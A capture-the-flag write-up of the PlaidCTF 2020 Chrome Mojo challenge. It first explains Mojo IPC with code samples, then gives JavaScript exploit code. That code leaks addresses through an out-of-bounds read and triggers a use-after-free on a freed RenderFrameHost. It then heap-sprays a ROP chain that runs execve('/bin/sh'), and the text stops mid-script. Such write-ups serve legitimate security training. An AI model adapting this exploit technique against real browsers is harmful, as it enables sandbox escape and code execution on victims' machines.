chrome sandbox escape case study and plaidctf2020 mojo writeup

// src/third_party/blink/example/public/ping_responder.h
mojo::Remote<example::mojom::PingResponder> ping_responder;
mojo::PendingReceiver<example::mojom::PingResponder> receiver =
    ping_responder.BindNewPipeAndPassReceiver();

// src/third_party/blink/example/public/ping_responder.h
ping_responder->Ping(base::BindOnce(&OnPong));

RenderFrame* my_frame = GetMyFrame();
my_frame->GetBrowserInterfaceBroker().GetInterface(std::move(receiver));

#include "example/public/mojom/ping_responder.mojom.h"

class PingResponderImpl : example::mojom::PingResponder {
 public:
  // impl里保存receiver_
  explicit PingResponderImpl(mojo::PendingReceiver<example::mojom::PingResponder> receiver)
      : receiver_(this, std::move(receiver)) {}

  // example::mojom::PingResponder:
  void Ping(PingCallback callback) override {
    // Respond with a random 4, chosen by fair dice roll.
    std::move(callback).Run(4);
  }

 private:
  mojo::Receiver<example::mojom::PingResponder> receiver_;

  DISALLOW_COPY_AND_ASSIGN(PingResponderImpl);
};

// render_frame_host_impl.h
class RenderFrameHostImpl
  ...
  void GetPingResponder(mojo::PendingReceiver<example::mojom::PingResponder> receiver);
  ...
 private:
  ...
  std::unique_ptr<PingResponderImpl> ping_responder_;
  ...
    // BrowserInterfaceBroker implementation through which this
  // RenderFrameHostImpl exposes document-scoped Mojo services to the currently
  // active document in the corresponding RenderFrame.
  BrowserInterfaceBrokerImpl<RenderFrameHostImpl, RenderFrameHost*> broker_{
      this};
  mojo::Receiver<blink::mojom::BrowserInterfaceBroker> broker_receiver_{
      &broker_};
};

// render_frame_host_impl.cc
// 可以看到GetPingResponder使用receiver构造出了一个PingResponderImpl对象
void RenderFrameHostImpl::GetPingResponder(
    mojo::PendingReceiver<example::mojom::PingResponder> receiver) {
  ping_responder_ = std::make_unique<PingResponderImpl>(std::move(receiver));
}

// browser_interface_binders.cc
void PopulateFrameBinders(RenderFrameHostImpl* host,
                          mojo::BinderMap* map) {
...
  // Register the handler for PingResponder.
  map->Add<example::mojom::PingResponder>(base::BindRepeating(
    &RenderFrameHostImpl::GetPingResponder, base::Unretained(host)));
}

module math.mojom;

interface Math {
  // Adds two int32s and returns the result as an int64 (to avoid
  // overflow issues).
  Add(int32 x, int32 y) => (int64 sum);
};
...
mojom("mojom") {
  sources = ["math.mojom"]
}
...
class MathImpl : public math::mojom::Math {
 public:
  explicit MathImpl(mojo::PendingReceiver<math::mojom::Math> receiver)
      : receiver_(this, std::move(receiver)) {}
  // math::mojom::Math overrides:
  // Note: AddCallback is a type alias for base::OnceCallback<void(int64_t)>.
  // The parameters to the callback are the reply parameters specified in the
  // Mojo IDL method definition. This is part of the boilerplate generated by
  // Mojo: invoking |reply| will send a reply to the caller.
  void Add(int32_t x, int32_t y, AddCallback reply) override {
    // Note: Mojo always returns results via callback. While it is possible to
    // make a sync IPC which blocks on the reply, the handler will always return
    // the result via callback.
    std::move(reply).Run(static_cast<int64_t>(x) + y);
  }

 private:
  // Wraps a message pipe endpoint that receives incoming messages. See the
  // message pipes section below for more information.

  // wrap消息管道的receiver端
  mojo::Receiver<math::mojom::Math> receiver_;
};

// Wraps a message pipe endpoint for making remote calls. May only be used on
// the sequence where the mojo::Remote was bound.
mojo::Remote<math::mojom::Math> remote_math = ...;
...
// 通常是保存在mojo impl里的一个类成员，wrap message pipe的receiver端，其分发ipc消息到具体的handler（典型的来说，就是发给this,也就是impl)，
// Usually a class member. Wraps a message pipe endpoint that receives incoming
// messages. Routes and dispatches IPCs to the handler—typically |this|—on the
// sequence where the mojo::Receiver was bound.
mojo::Receiver<math::mojom::Math> receiver_;

mojo::Remote<math::mojom::Math> remote_math;

// BindNewPipeAndPassReceiver返回一个mojo::PendingReceiver<math::mojom::Math>.
// 这可以被bound到一个mojo::Receiver<math::mojom::Math>去处理来自remote_math的调用

// BindNewPipeAndPassReceiver() returns a
// mojo::PendingReceiver<math::mojom::Math>. This may be bound to a
// mojo::Receiver<math::mojom::Math> to handle calls received from
// |remote_math|.
LaunchAndBindRemoteMath(remote_math.BindNewPipeAndPassReceiver());

// remote_math可以立刻被使用，Add call消息将在receiving端排队，直到其被bound到一个mojo::Receiver<math::mojom::Math>.
// 例如，被mojom的impl使用其构造receive_字段以隐式绑定或者显式的通过::Bind来绑定。
// |remote_math| may be immediately used. The Add() call will be buffered by the
// receiving end and dispatched when mojo::PendingReceiver<math::mojom::Math> is
// bound to a mojo::Receiver<math::mojom::Math>.
remote_math->Add(2, 2, base::BindOnce(...));

class MathImpl : public math::mojom::MathImpl {
  // ...addition to the previous MathImpl definition...

  mojo::PendingRemote<math::mojom::Math> GetRemoteMath() {
    // BindNewPipeAndPassRemote() returns a
    // `mojo::PendingRemote<math::mojom::Math>`. This may be bound to a
    // `mojo::Remote<math::mojom::Math> which can be used to send IPCs that will
    // be handled by |this|.
    return receiver_.BindNewPipeAndPassRemote();
  }
};

mojo::Remote<math::mojom::MathImpl> remote = ...;
// |pending_remote| 是可移动的，并且可能会被传递。
// 未绑定时，端点不能用于发送IPC。pending_remote可以传递给mojo::Remote <T>构造函数或mojo::Remote<T>::Bind()来重新绑定端点。
// |pending_remote| is movable and may be passed around. While unbound, the
// endpoint cannot be used to send IPCs. The pending remote may be passed to
// the mojo::Remote<T> constructor or mojo::Remote<T>::Bind() to rebind the
// endpoint.
mojo::PendingRemote<math::mojom::MathImpl> pending_remote = remote.Unbind();

mojo::Receiver<math::mojom::MathImpl> receiver = ...;
// |pending_receiver| is movable and may be passed around. While unbound,
// received IPCs are buffered and not processed. The pending receiver may be
// passed to the mojo::Receiver<T> constructor or mojo::Receiver<T>::Bind() to
// rebind the endpoint.
mojo::PendingReceiver<math::mojom::MathImpl> pending_receiver = receiver.Unbind();

#include "services/business/public/mojom/factory.mojom.h"

class TableImpl : public db::mojom::Table {
  // ...
};

namespace sample {
namespace mojom {

class Logger {
  virtual ~Logger() {}

  virtual void Log(const std::string& message) = 0;
};

}  // namespace mojom
}  // namespace sample

#include "sample/logger.mojom.h"

mojo::MessagePipe pipe;
mojo::Remote<sample::mojom::Logger> logger(
    mojo::PendingRemote<sample::mojom::Logger>(std::move(pipe.handle0), 0));
mojo::PendingReceiver<sample::mojom::Logger> receiver(std::move(pipe.handle1));

mojo::Remote<sample::mojom::Logger> logger;
auto receiver = logger.BindNewPipeAndPassReceiver());

#include "base/logging.h"
#include "base/macros.h"
#include "sample/logger.mojom.h"

class LoggerImpl : public sample::mojom::Logger {
 public:
  // NOTE: A common pattern for interface implementations which have one
  // instance per client is to take a PendingReceiver in the constructor.

  explicit LoggerImpl(mojo::PendingReceiver<sample::mojom::Logger> receiver)
      : receiver_(this, std::move(receiver)) {}
  ~Logger() override {}

  // sample::mojom::Logger:
  void Log(const std::string& message) override {
    LOG(ERROR) << "[Logger] " << message;
  }

 private:
  mojo::Receiver<sample::mojom::Logger> receiver_;

  DISALLOW_COPY_AND_ASSIGN(LoggerImpl);
};

namespace sample {
namespace mojom {

class Logger {
 public:
  virtual ~Logger() {}

  virtual void Log(const std::string& message) = 0;

  using GetTailCallback = base::OnceCallback<void(const std::string& message)>;

  virtual void GetTail(GetTailCallback callback) = 0;
}

}  // namespace mojom
}  // namespace sample

class LoggerImpl : public sample::mojom::Logger {
 public:
  // NOTE: A common pattern for interface implementations which have one
  // instance per client is to take a PendingReceiver in the constructor.

  explicit LoggerImpl(mojo::PendingReceiver<sample::mojom::Logger> receiver)
      : receiver_(this, std::move(receiver)) {}
  ~Logger() override {}

  // sample::mojom::Logger:
  void Log(const std::string& message) override {
    LOG(ERROR) << "[Logger] " << message;
    lines_.push_back(message);
  }

  void GetTail(GetTailCallback callback) override {
    std::move(callback).Run(lines_.back());
  }

 private:
  mojo::Receiver<sample::mojom::Logger> receiver_;
  std::vector<std::string> lines_;

  DISALLOW_COPY_AND_ASSIGN(LoggerImpl);
};

void OnGetTail(const std::string& message) {
  LOG(ERROR) << "Tail was: " << message;
}

logger->GetTail(base::BindOnce(&OnGetTail));

namespace db {
namespace mojom {

class Table {
 public:
  virtual ~Table() {}

  virtual void AddRow(int32_t key, const std::string& data) = 0;
}

class Database {
 public:
  virtual ~Database() {}

  virtual void AddTable(mojo::PendingReceiver<Table> table);
};

}  // namespace mojom
}  // namespace db

#include "sample/db.mojom.h"

class TableImpl : public db::mojom:Table {
 public:
  explicit TableImpl(mojo::PendingReceiver<db::mojom::Table> receiver)
      : receiver_(this, std::move(receiver)) {}
  ~TableImpl() override {}

  // db::mojom::Table:
  void AddRow(int32_t key, const std::string& data) override {
    rows_.insert({key, data});
  }

 private:
  mojo::Receiver<db::mojom::Table> receiver_;
  std::map<int32_t, std::string> rows_;
};

class DatabaseImpl : public db::mojom::Database {
 public:
  explicit DatabaseImpl(mojo::PendingReceiver<db::mojom::Database> receiver)
      : receiver_(this, std::move(receiver)) {}
  ~DatabaseImpl() override {}

  // db::mojom::Database:
  void AddTable(mojo::PendingReceiver<db::mojom::Table> table) {
    tables_.emplace_back(std::make_unique<TableImpl>(std::move(table)));
  }

 private:
  mojo::Receiver<db::mojom::Database> receiver_;
  std::vector<std::unique_ptr<TableImpl>> tables_;
};

mojo::Remote<db::mojom::Database> database;
DatabaseImpl db_impl(database.BindNewPipeAndPassReceiver());

mojo::Remote<db::mojom::Table> table1, table2;
database->AddTable(table1.BindNewPipeAndPassReceiver());
database->AddTable(table2.BindNewPipeAndPassReceiver());

table1->AddRow(1, "hiiiiiiii");
table2->AddRow(2, "heyyyyyy");

interface TableListener {
  OnRowAdded(int32 key, string data);
};

interface Table {
  AddRow(int32 key, string data);

  AddListener(pending_remote<TableListener> listener);
};

virtual void AddListener(mojo::PendingRemote<TableListener> listener) = 0;

mojo::PendingRemote<db::mojom::TableListener> listener;
TableListenerImpl impl(listener.InitWithNewPipeAndPassReceiver());
table->AddListener(std::move(listener));

class LoggerImpl : public sample::mojom::Logger {
 public:
  LoggerImpl() {}
  ~LoggerImpl() override {}

  // sample::mojom::Logger:
  void Log(const std::string& message) override {
    LOG(ERROR) << "[Logger] " << message;
  }

 private:
  // NOTE: This doesn't own any Receiver object!
};

mojo::Remote<db::mojom::Logger> logger;
mojo::MakeSelfOwnedReceiver(std::make_unique<LoggerImpl>(),
                        logger.BindNewPipeAndPassReceiver());

logger->Log("NOM NOM NOM MESSAGES");

class LogManager : public system::mojom::LoggerProvider,
                   public system::mojom::Logger {
 public:
  explicit LogManager(mojo::PendingReceiver<system::mojom::LoggerProvider> receiver)
      : provider_receiver_(this, std::move(receiver)) {}
  ~LogManager() {}

  // system::mojom::LoggerProvider:
  void GetLogger(mojo::PendingReceiver<Logger> receiver) override {
    logger_receivers_.Add(this, std::move(receiver));
  }

  // system::mojom::Logger:
  void Log(const std::string& message) override {
    LOG(ERROR) << "[Logger] " << message;
  }

 private:
  mojo::Receiver<system::mojom::LoggerProvider> provider_receiver_;
  mojo::ReceiverSet<system::mojom::Logger> logger_receivers_;
};

module db.mojom;

interface TableListener {
  OnRowAdded(int32 key, string data);
};

interface Table {
  AddRow(int32 key, string data);
  AddListener(pending_remote<TableListener> listener);
};

class TableImpl : public db::mojom::Table {
 public:
  TableImpl() {}
  ~TableImpl() override {}

  // db::mojom::Table:
  void AddRow(int32_t key, const std::string& data) override {
    rows_.insert({key, data});
    listeners_.ForEach([key, &data](db::mojom::TableListener* listener) {
      listener->OnRowAdded(key, data);
    });
  }

  void AddListener(mojo::PendingRemote<db::mojom::TableListener> listener) {
    listeners_.Add(std::move(listener));
  }

 private:
  mojo::RemoteSet<db::mojom::Table> listeners_;
  std::map<int32_t, std::string> rows_;
};

mojo::AssociatedRemote<Bar> bar;
foo->PassBarReceiver(bar.BindNewEndpointAndPassReceiver());
bar->DoSomething();

class FooImpl : public Foo {
  ...
  void PassBarReceiver(mojo::AssociatedReceiver<Bar> bar) override {
    bar_receiver_.Bind(std::move(bar));
    ...
  }
  ...

  Receiver<Foo> foo_receiver_;
  AssociatedReceiver<Bar> bar_receiver_;
};

mojo::AssociatedReceiver<Bar> bar_receiver(some_bar_impl);
mojo::PendingAssociatedRemote<Bar> bar;
mojo::PendingAssociatedReceiver<Bar> bar_pending_receiver = bar.InitWithNewEndpointAndPassReceiver();
foo->PassBarRemote(std::move(bar));
bar_receiver.Bind(std::move(bar_pending_receiver));

mojo::AssociatedReceiver<Bar> bar_receiver(some_bar_impl);
mojo::PendingAssociatedRemote<Bar> bar;
bar_receiver.Bind(bar.InitWithNewPipeAndPassReceiver());
foo->PassBarRemote(std::move(bar));

module test.echo.mojom;

interface Echo {
  EchoInteger(int32 value) => (int32 result);
};

import("//mojo/public/tools/bindings/mojom.gni")

mojom("interfaces") {
  sources = [
    "echo.mojom",
  ]
}

<!DOCTYPE html>
<script src="URL/to/mojo_bindings.js"></script>
<script src="URL/to/echo.mojom.js"></script>
<script>

var echoPtr = new test.echo.mojom.EchoPtr();
var echoRequest = mojo.makeRequest(echoPtr);
// ...

</script>

<!DOCTYPE html>
<script src="URL/to/mojo_bindings.js"></script>
<script src="URL/to/echo.mojom.js"></script>
<script>

function EchoImpl() {}
EchoImpl.prototype.echoInteger = function(value) {
  return Promise.resolve({result: value});
  // Promise.resolve('foo')
  // 粗略可以理解成，但注意这并不严格等价，只是在这里可以这么理解
  // new Promise(resolve => resolve('foo'))
};

var echoServicePtr = new test.echo.mojom.EchoPtr();
var echoServiceRequest = mojo.makeRequest(echoServicePtr);
var echoServiceBinding = new mojo.Binding(test.echo.mojom.Echo,
                                          new EchoImpl(),
                                          echoServiceRequest);
echoServicePtr.echoInteger({value: 123}).then(function(response) {
  console.log('The result is ' + response.result);
});

</script>

// |output| could be an interface pointer, InterfacePtrInfo or
  // AssociatedInterfacePtrInfo.
  function makeRequest(output) {
    if (output instanceof mojo.AssociatedInterfacePtrInfo) {
      var {handle0, handle1} = internal.createPairPendingAssociation();
      output.interfaceEndpointHandle = handle0;
      output.version = 0;

      return new mojo.AssociatedInterfaceRequest(handle1);
    }

    if (output instanceof mojo.InterfacePtrInfo) {
      var pipe = Mojo.createMessagePipe();
      output.handle = pipe.handle0;
      output.version = 0;

      return new mojo.InterfaceRequest(pipe.handle1);
    }

    var pipe = Mojo.createMessagePipe();
    output.ptr.bind(new mojo.InterfacePtrInfo(pipe.handle0, 0));
    return new mojo.InterfaceRequest(pipe.handle1);
  }

// ---------------------------------------------------------------------------

  // |request| could be omitted and passed into bind() later.
  //
  // Example:
  //
  //    // FooImpl implements mojom.Foo.
  //    function FooImpl() { ... }
  //    FooImpl.prototype.fooMethod1 = function() { ... }
  //    FooImpl.prototype.fooMethod2 = function() { ... }
  //
  //    var fooPtr = new mojom.FooPtr();
  //    var request = makeRequest(fooPtr);
  //    var binding = new Binding(mojom.Foo, new FooImpl(), request);
  //    fooPtr.fooMethod1();
  function Binding(interfaceType, impl, requestOrHandle) {
    this.interfaceType_ = interfaceType;
    this.impl_ = impl;
    this.router_ = null;
    this.interfaceEndpointClient_ = null;
    this.stub_ = null;

    if (requestOrHandle)
      this.bind(requestOrHandle);
  }
  ...
  ...
    Binding.prototype.bind = function(requestOrHandle) {
    this.close();

    var handle = requestOrHandle instanceof mojo.InterfaceRequest ?
        requestOrHandle.handle : requestOrHandle;
    if (!(handle instanceof MojoHandle))
      return;

    this.router_ = new internal.Router(handle);

    this.stub_ = new this.interfaceType_.stubClass(this.impl_);
    this.interfaceEndpointClient_ = new internal.InterfaceEndpointClient(
        this.router_.createLocalEndpointHandle(internal.kPrimaryInterfaceId),
        this.stub_, this.interfaceType_.kVersion);

    this.interfaceEndpointClient_ .setPayloadValidators([
        this.interfaceType_.validateRequest]);
  };

function resolveAfter2Seconds(x) { 
  return new Promise(function(resolve){
    setTimeout(function(){
      resolve(x);
    }, 2000);
  });
}

async function f1() {
  var x = await resolveAfter2Seconds(10);
  console.log(x); // 10
  console.log("end");
}

function f2(){
  console.log("sakura");
}
f1();
f2();
...
...
//结果
sakura
10
end

resolveAfter2Seconds(10).then((x)=>{console.log(x)})
...
//10

Promise.resolve('foo')
// 粗略可以理解成，但注意这并不严格等价，只是在这里可以这么理解
new Promise(function(resolve){
  resolve('foo')
})

//content/browser/renderer_host/render_frame_host_impl.h
class CONTENT_EXPORT RenderFrameHostImpl
    : public RenderFrameHost,
    ...
  // BrowserInterfaceBroker implementation through which this
  // RenderFrameHostImpl exposes document-scoped Mojo services to the currently
  // active document in the corresponding RenderFrame.
  BrowserInterfaceBrokerImpl<RenderFrameHostImpl, RenderFrameHost*> broker_{
      this};

// content's implementation of the BrowserInterfaceBroker interface that binds
// interfaces requested by the renderer. Every execution context type (frame,
// worker etc) owns an instance and registers appropriate handlers (see
// internal::PopulateBinderMap).
// Note: this mechanism will eventually replace the usage of InterfaceProvider
// and browser manifests, as well as DocumentInterfaceBroker.
template <typename ExecutionContextHost, typename InterfaceBinderContext>
class BrowserInterfaceBrokerImpl : public blink::mojom::BrowserInterfaceBroker {
 public:
  BrowserInterfaceBrokerImpl(ExecutionContextHost* host) : host_(host) {
    internal::PopulateBinderMap(host, &binder_map_);
    internal::PopulateBinderMapWithContext(host, &binder_map_with_context_);
  }

void PopulateFrameBinders(RenderFrameHostImpl* host,
                          service_manager::BinderMap* map) {
  ...
  map->Add<blink::mojom::InstalledAppProvider>(
      base::BindRepeating(&RenderFrameHostImpl::CreateInstalledAppProvider,
                          base::Unretained(host)));
  ...
}

void RenderFrameHostImpl::CreateInstalledAppProvider(
    mojo::PendingReceiver<blink::mojom::InstalledAppProvider> receiver) {
  InstalledAppProviderImpl::Create(this, std::move(receiver));
}
// static
void InstalledAppProviderImpl::Create(
    RenderFrameHost* host,
    mojo::PendingReceiver<blink::mojom::InstalledAppProvider> receiver) {
  mojo::MakeSelfOwnedReceiver(std::make_unique<InstalledAppProviderImpl>(host),
                              std::move(receiver));
}

InstalledAppProviderImpl::InstalledAppProviderImpl(
    RenderFrameHost* render_frame_host)
    : render_frame_host_(render_frame_host) {
  DCHECK(render_frame_host_);
}
...
void InstalledAppProviderImpl::FilterInstalledApps(
    std::vector<blink::mojom::RelatedApplicationPtr> related_apps,
    const GURL& manifest_url,
    FilterInstalledAppsCallback callback) {
  if (render_frame_host_->GetProcess()->GetBrowserContext()->IsOffTheRecord()) {
    std::move(callback).Run(std::vector<blink::mojom::RelatedApplicationPtr>());
    return;
  }
  ...
}

// static
void PlaidStoreImpl::Create(
    RenderFrameHost *render_frame_host,
    mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {
  mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),// note lifetime
                              std::move(receiver));
}
..
class PlaidStoreImpl : public blink::mojom::PlaidStore {
 public:
  explicit PlaidStoreImpl(RenderFrameHost *render_frame_host);

  static void Create(
      RenderFrameHost* render_frame_host,
      mojo::PendingReceiver<blink::mojom::PlaidStore> receiver);

  ~PlaidStoreImpl() override;

  // PlaidStore overrides:
  void StoreData(
      const std::string &key,
      const std::vector<uint8_t> &data) override;

  void GetData(
      const std::string &key,
      uint32_t count,
      GetDataCallback callback) override;

 private:
  RenderFrameHost* render_frame_host_;//----> can free
  std::map<std::string, std::vector<uint8_t> > data_store_;
};
..
void PlaidStoreImpl::StoreData(
    const std::string &key,
    const std::vector<uint8_t> &data) {
  if (!render_frame_host_->IsRenderFrameLive()) { // use
    return;
  }
  data_store_[key] = data;
}

void PlaidStoreImpl::GetData(
    const std::string &key,
    uint32_t count,
    GetDataCallback callback) {
  if (!render_frame_host_->IsRenderFrameLive()) { // use
    std::move(callback).Run({});
    return;
  }
  auto it = data_store_.find(key);
  if (it == data_store_.end()) {
    std::move(callback).Run({});
    return;
  }
  std::vector<uint8_t> result(it->second.begin(), it->second.begin() + count);//oob
  std::move(callback).Run(result);
}

async function oob(){
    console.log("oob");
    var pipe = Mojo.createMessagePipe();
    Mojo.bindInterface(blink.mojom.PlaidStore.name,
    pipe.handle1, "context", true);
    var plaid_store_ptr = new blink.mojom.PlaidStorePtr(pipe.handle0);
    await plaid_store_ptr.storeData("aaa", [0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48]);
    oob_data = await plaid_store_ptr.getData("aaa",0x20);
    console.log(hex(b2i(oob_data.data.slice(0x10,0x18))));
}

template <class _Pointer> class __tree_end_node;
template <class _VoidPtr> class __tree_node_base;
template <class _Tp, class _VoidPtr> class __tree_node;
...
// node

template <class _Pointer>
class __tree_end_node
{
public:
    typedef _Pointer pointer;
    pointer __left_;

    _LIBCPP_INLINE_VISIBILITY
    __tree_end_node() _NOEXCEPT : __left_() {}
};

template <class _VoidPtr>
class __tree_node_base
    : public __tree_node_base_types<_VoidPtr>::__end_node_type
{
    typedef __tree_node_base_types<_VoidPtr> _NodeBaseTypes;

public:
    typedef typename _NodeBaseTypes::__node_base_pointer pointer;
    typedef typename _NodeBaseTypes::__parent_pointer __parent_pointer;

    pointer          __right_;
    __parent_pointer __parent_;
    bool __is_black_;

    _LIBCPP_INLINE_VISIBILITY
    pointer __parent_unsafe() const { return static_cast<pointer>(__parent_);}

    _LIBCPP_INLINE_VISIBILITY
    void __set_parent(pointer __p) {
        __parent_ = static_cast<__parent_pointer>(__p);
    }

private:
  ~__tree_node_base() _LIBCPP_EQUAL_DELETE;
  __tree_node_base(__tree_node_base const&) _LIBCPP_EQUAL_DELETE;
  __tree_node_base& operator=(__tree_node_base const&) _LIBCPP_EQUAL_DELETE;
};

template <class _Tp, class _VoidPtr>
class __tree_node
    : public __tree_node_base<_VoidPtr>
{
public:
    typedef _Tp __node_value_type;

    __node_value_type __value_;

private:
  ~__tree_node() _LIBCPP_EQUAL_DELETE;
  __tree_node(__tree_node const&) _LIBCPP_EQUAL_DELETE;
  __tree_node& operator=(__tree_node const&) _LIBCPP_EQUAL_DELETE;
};

class __vector_base
    pointer                                         __begin_;
    pointer                                         __end_;
    __compressed_pair<pointer, allocator_type> __end_cap_;

async function oob(){
        console.log("oob");
        var ps_list = [];
        var try_size = 100;
        var vt_addr = 0;
        var render_frame_host_addr = 0;
        var code_base = 0;
        for(let i = 0; i < try_size; i++){ //创建impl并store一些数据，从而创建vector
          var pipe = Mojo.createMessagePipe();
          Mojo.bindInterface(blink.mojom.PlaidStore.name,
            pipe.handle1, "context", true);
          var tmp_ps_ptr = new blink.mojom.PlaidStorePtr(pipe.handle0);
          await tmp_ps_ptr.storeData("aaaa", new Array(0x30).fill(0x31))
          ps_list.push(tmp_ps_ptr);
        }
        for(let i = 0; i < try_size; i++){
          if(vt_addr != 0){
            break;
          }
          var tmp_ps_ptr = ps_list[i];
          let r = await tmp_ps_ptr.getData("aaaa", 0x100); //越界读取，这里设置成0x100，不能太大，防止读到一些不可访问的地址
          let oob_data = r.data;
          for(let i = 0x30; i < 0x100; i = i + 8){
            let tmp_oob_data = b2i(oob_data.slice(i, i+8)); //因为读取到的是byte数组，所以要转回数值
            if(hex(tmp_oob_data & 0xfff) == "0x7a0"){
                vt_addr = tmp_oob_data;
                code_base = vt_addr - 0x9fb67a0;
                console.log('vt_addr is: ', hex(vt_addr));
                console.log('code_base is: ', hex(code_base));
                render_frame_host_addr = b2i(oob_data.slice(i+8, i+16));
                console.log('render_frame_host_addr is: ', hex(render_frame_host_addr));
                break;
            }
          }
        }
        r2p_rfh(hex(render_frame_host_addr));
        r2p_code_base(hex(code_base));
      }

void PlaidStoreImpl::GetData(
    const std::string &key,
    uint32_t count,
    GetDataCallback callback) {
  if (!render_frame_host_->IsRenderFrameLive()) { // use
    std::move(callback).Run({});
    return;
  }

function allocateRFH(src) {
    var iframe = document.createElement("iframe");
    iframe.src = src;
    document.body.appendChild(iframe);
    return iframe;
}

function freeRFH(iframe) {
    document.body.removeChild(iframe);
}

var kPwnInterfaceName = "pwn";
function sendPtr() {
    var pipe = Mojo.createMessagePipe();
    // bind the InstalledAppProvider with the child rfh
    Mojo.bindInterface(blink.mojom.PlaidStore.name,
        pipe.handle1, "context", true);
    // pass the endpoint handle to the parent rfh
    Mojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process");
}

function getFreedPtr() {
    return new Promise(function (resolve, reject) {
        // create child iframe, allocate new RenderFrameHost
        var frame = allocateRFH(window.location.href + "#child"); // designate the child by hash
        // intercept bindInterface calls for this process to accept the handle from the child
        let interceptor = new MojoInterfaceInterceptor(kPwnInterfaceName, "process");
        interceptor.oninterfacerequest = function(e) {
            // e is MojoInterfaceRequestEvent
            interceptor.stop();
            // bind the remote
            var plaid_store_ptr = new blink.mojom.PlaidStorePtr(e.handle);
            // get child iframe render_frame_host_addr
            iframe_render_frame_host_addr = parseInt(window.frames[0].window.document.getElementById('render_frame_host_addr').innerText);
            code_base = parseInt(window.frames[0].window.document.getElementById('code_base').innerText);
            freeRFH(frame);
            resolve(plaid_store_ptr);
        }
        interceptor.start();
    });
}
async function trigger() {
    // for #child
    if (window.location.hash == "#child") {
        await oob();
        sendPtr();
        return;
    }
    // for #parent
    iframe_render_frame_host_addr = 0;
    code_base = 0
    var try_size = 100;
    var kRenderFrameHost = 0xc28;
    let ptr = await getFreedPtr();// free iframe
}

var uaf_ab = new ArrayBuffer(kRenderFrameHost);
var uaf_ta = new BigUint64Array(uaf_ab);
uaf_ta[0] = BigInt(iframe_render_frame_host_addr)+0x10n;
uaf_ta[1] = 0n;
uaf_ta[2] = 0n; //use by pop rbp
uaf_ta[3] = BigInt(pop_rdi_ret);
uaf_ta[4] = BigInt(iframe_render_frame_host_addr)+0x10n+0x160n+8n;
uaf_ta[5] = BigInt(pop_rsi_ret);
uaf_ta[6] = BigInt(0);
uaf_ta[7] = BigInt(pop_rdx_ret);
uaf_ta[8] = BigInt(0);
uaf_ta[9] = BigInt(pop_rax_ret);
uaf_ta[10] = BigInt(59);
uaf_ta[11] = BigInt(syscall);
uaf_ta[(0x10+0x160)/8] = BigInt(xchg);

var uaf_uint8 = new Uint8Array(uaf_ab); // /bin/sh\x00
uaf_uint8[0x10+0x160+8+0] = 0x2f;
uaf_uint8[0x10+0x160+8+1] = 0x62;
uaf_uint8[0x10+0x160+8+2] = 0x69;
uaf_uint8[0x10+0x160+8+3] = 0x6e;
uaf_uint8[0x10+0x160+8+4] = 0x2f;
uaf_uint8[0x10+0x160+8+5] = 0x73;
uaf_uint8[0x10+0x160+8+6] = 0x68;
uaf_uint8[0x10+0x160+8+7] = 0x00;
console.log("heap spray");
for(let i = 0; i < try_size; i++){ //heap spray
    //await ptr.storeData('1', new Array(kRenderFrameHost).fill(0x32));
    await ptr.storeData(""+i, new Uint8Array(uaf_ab));
}

<html>
  <head>
    <script src="./mojo/public/js/mojo_bindings.js"></script>
    <script src="./third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>
    <script>
      function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }
      var f64 = new Float64Array(1);
      var u32 = new Uint32Array(f64.buffer);

      function d2u(v) {
          f64[0] = v;
          return u32;
      }

      function u2d(lo, hi) {
          u32[0] = lo;
          u32[1] = hi;
          return f64[0];
      }

      function b2i(bytes){
          var value = 0;
          for(var i = 0; i < 8; i++){
              value = value * 0x100 + bytes[7-i];
          }
          return value;
      }
      function hex(i){
          return '0x' + i.toString(16);
      }

      // for child
      function r2p_rfh(render_frame_host_addr){
        addElement(render_frame_host_addr,"render_frame_host_addr");
      }

      function r2p_code_base(code_base){
        addElement(code_base, "code_base");
      }

      function addElement(value, id) {
        // 创建一个新的 div 元素
        let newDiv = document.createElement("div"); 
        newDiv.setAttribute("id", id);
        let newContent = document.createTextNode(value); 
        // 添加文本节点 到这个新的 div 元素
        newDiv.appendChild(newContent); 
        // 将这个新的元素和它的文本添加到 DOM 中
        document.body.appendChild(newDiv); 
      }

      function allocateRFH(src) {
        var iframe = document.createElement("iframe");
        iframe.src = src;
        document.body.appendChild(iframe);
        return iframe;
      }

      function freeRFH(iframe) {
        document.body.removeChild(iframe);
      }

      var kPwnInterfaceName = "pwn";
      function sendPtr() {
        var pipe = Mojo.createMessagePipe();
        // bind the PlaidStore with the child rfh
        Mojo.bindInterface(blink.mojom.PlaidStore.name,
          pipe.handle1, "context", true);
        // pass the endpoint handle to the parent rfh
        Mojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process");
      }

      function getFreedPtr() {
        return new Promise(function (resolve, reject) {
          // create child iframe, allocate new RenderFrameHost
          var frame = allocateRFH(window.location.href + "#child"); // designate the child by hash
          // intercept bindInterface calls for this process to accept the handle from the child
          let interceptor = new MojoInterfaceInterceptor(kPwnInterfaceName, "process");
          interceptor.oninterfacerequest = function(e) {
            // e is MojoInterfaceRequestEvent
            interceptor.stop();
            // bind the remote
            var plaid_store_ptr = new blink.mojom.PlaidStorePtr(e.handle);
            // get child iframe render_frame_host_addr
            // console.log(window.frames[0].window.document.getElementById('render_frame_host_addr').innerText);
            // console.log(window.frames[0].window.document.getElementById('code_base').innerText);
            iframe_render_frame_host_addr = parseInt(window.frames[0].window.document.getElementById('render_frame_host_addr').innerText);
            code_base = parseInt(window.frames[0].window.document.getElementById('code_base').innerText);
            freeRFH(frame);
            resolve(plaid_store_ptr);
          }
          interceptor.start();
        });
      }

      async function trigger() {
        // for #child
        if (window.location.hash == "#child") {
          await oob();
          sendPtr();
          return;
        }

        // for #parent
        iframe_render_frame_host_addr = 0;
        code_base = 0
        var try_size = 100;
        var kRenderFrameHost = 0xc28;
        let ptr = await getFreedPtr();// free iframe 
        // leak addr
        console.log('code_base2 is: ', hex(code_base));
        console.log('render_frame_host_addr2 is: ', hex(iframe_render_frame_host_addr));

        var xchg = code_base+0x880dee8; // xchg rsp, rax; clc; pop rbp; ret;
        console.log("xchg gadget: ", xchg);

        var pop_rdi_ret = code_base+0x2e4630f;
